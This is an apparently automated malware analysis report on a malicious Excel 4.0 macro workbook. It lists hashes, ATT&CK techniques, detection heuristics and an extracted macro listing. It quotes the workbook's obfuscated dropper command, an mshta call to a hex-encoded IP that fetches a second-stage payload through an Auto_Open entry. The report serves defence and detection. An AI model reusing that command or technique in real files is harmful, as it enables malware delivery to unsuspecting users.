Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 64fdccb41a13f3e7…

MALICIOUS

Office (OLE) / .XLSX

65.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 0f0583a335e29cf6397316ea7c74e210 SHA-1: 60ef9d24eb9ef6c102596d3fb0032c48edff7d5e SHA-256: 64fdccb41a13f3e7f28c0af35982bdff42ccf8c46ace6894a592ff566c10738c
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 4.0 macro-enabled workbook that uses an Auto_Open entry point to execute a command. The embedded macro attempts to disguise the command as 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which likely downloads and executes a second-stage payload. The document body also contains a lure to enable macros, which is a common tactic for malware droppers.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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